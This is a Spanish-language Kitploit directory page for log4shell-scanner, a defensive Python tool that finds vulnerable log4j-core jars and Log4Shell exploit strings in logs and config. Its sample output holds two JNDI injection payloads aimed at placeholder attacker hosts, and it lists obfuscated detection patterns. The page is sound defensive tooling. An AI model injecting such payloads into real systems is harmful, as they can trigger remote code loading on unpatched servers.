Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4shell-scanner — Escáner ligero que detecta versiones vulnerables de Log4j e indicadores de Log4Shell (CVE-2021-44228) en un árbol de sistema de archivos. | Kitploit
Herramientas/GitHubGitHub/arpitgupta369/log4shell-scanner
Herramientas DefensivasEscáneres de VulnerabilidadesAnálisis de VulnerabilidadesSeguridad de Cadena de SuministroAprendizaje y EducaciónAnálisis de Registros
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Escáner ligero que detecta versiones vulnerables de Log4j e indicadores de Log4Shell (CVE-2021-44228) en un árbol de sistema de archivos.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 1 mesAún no revisado

log4shell-scanner

Un escáner defensivo sin dependencias para Log4Shell: encuentra archivos jar de log4j-core vulnerables y patrones de explotación JNDI en registros y configuración.

Por qué este proyecto

Durante mi rotación en CERT-In trabajé en identificación de amenazas, contención, remediación y búsqueda de amenazas, exactamente el flujo de trabajo que Log4Shell (CVE-2021-44228) exigió a gran escala en diciembre de 2021: encontrar cada artefacto vulnerable de log4j-core en toda una flota, y buscar en registros intentos de explotación ${jndi:...}. Este escáner reconstruye ese flujo de trabajo defensivo en un único script Python portátil de biblioteca estándar que no necesita nada instalado en el host que inspecciona.

Características

  • Descubrimiento de archivos comprimidos — recorre un árbol de directorios en busca de archivos .jar / .war / .ear.
  • Detección autoritativa de versiones — lee pom.properties y MANIFEST.MF desde el interior de cada archivo comprimido con zipfile, recurriendo al nombre del archivo; distingue el log4j-core real de otros jars no relacionados.
  • Marcado de CVEs en toda la familia Log4Shell:
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (parche incompleto) — hasta 2.15.0
    • CVE-2021-45105 (DoS) — hasta 2.16.0
  • Búsqueda de patrones de explotación — examina logs/config/source en busca de ${jndi:ldap:// y ofuscaciones comunes (${${lower:j}ndi:…}, separado por llaves j}ndi:, ${::-j}).
  • Remediación procesable — actualizar a 2.17.1+, o eliminar JndiLookup.class, más orientación para monitoreo de salida.
  • Árbol de muestra empaquetado con un log4j-core-2.14.1.jar vulnerable falso (zip real que contiene un pom.properties de log4j-core), un 2.17.1.jar parcheado, un jar no relacionado y un registro con payloads JNDI.
  • --demo construye y escanea el árbol de muestra de principio a fin.
  • Pura biblioteca estándar de Python (os, re, zipfile). Sin dependencias.

Stack tecnológico

Python 3 (solo biblioteca estándar: argparse, os, re, zipfile).

Instalación

root@kitploit:~
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version   # Python 3.8+
# no dependencies to install

Uso

Ejecuta la demo contra el árbol de muestra empaquetado:

root@kitploit:~
python log4shell_scan.py --demo

Salida esperada (resumida):

root@kitploit:~
--- Archives (log4j-core detection) ---
  [ok]         .../commons-lang3-3.12.0.jar
        version: unknown   (via no log4j-core detected)
  [VULNERABLE] .../log4j-core-2.14.1.jar
        version: 2.14.1   (via pom.properties (...))
        !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
        !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
        !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
  [ok]         .../log4j-core-2.17.1.jar
        version: 2.17.1   (via pom.properties (...))

--- Exploit-pattern matches (JNDI payloads in text/logs) ---
  [MATCH] .../access.log (2 hit(s))
        L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
        L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"

--- Summary ---
  Vulnerable archives:      1
  Files with JNDI patterns: 1

Escanee cualquier directorio que esté autorizado a evaluar:

root@kitploit:~
python log4shell_scan.py /path/to/deployed/app

El código de salida del proceso es 1 cuando se encuentra algo vulnerable o sospechoso, 0 cuando está limpio — conveniente para CI/pipeline gating.

Reconstruya el árbol de muestra en cualquier momento:

root@kitploit:~
python log4shell_scan.py --build-samples

Estructura del proyecto

root@kitploit:~
log4shell-scanner/
├── log4shell_scan.py      # scanner + sample-tree builder + CLI
├── samples/
│   └── app/
│       ├── libs/
│       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
│       │   ├── log4j-core-2.17.1.jar     # patched jar
│       │   └── commons-lang3-3.12.0.jar  # unrelated jar
│       ├── logs/
│       │   └── access.log                # contains JNDI payloads
│       └── config.properties             # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore

Descargo de responsabilidad

Para uso educativo, defensivo y autorizado únicamente. Ejecútelo solo contra sistemas y artefactos en los que tenga permiso para evaluar. El escáner solo lee y compara patrones — nunca ejecuta ni explota nada. Los archivos jar de muestra empaquetados son marcadores de posición fabricados, no artefactos genuinos de Apache, y todos los nombres de host de payloads utilizan nombres .test no enrutables. Las asignaciones de versión a CVE se proporcionan como orientación; verifique con los avisos de seguridad oficiales de CVE y Apache Log4j.


Desarrollado por Arpit Gupta — LinkedIn · GitHub

Descargar herramienta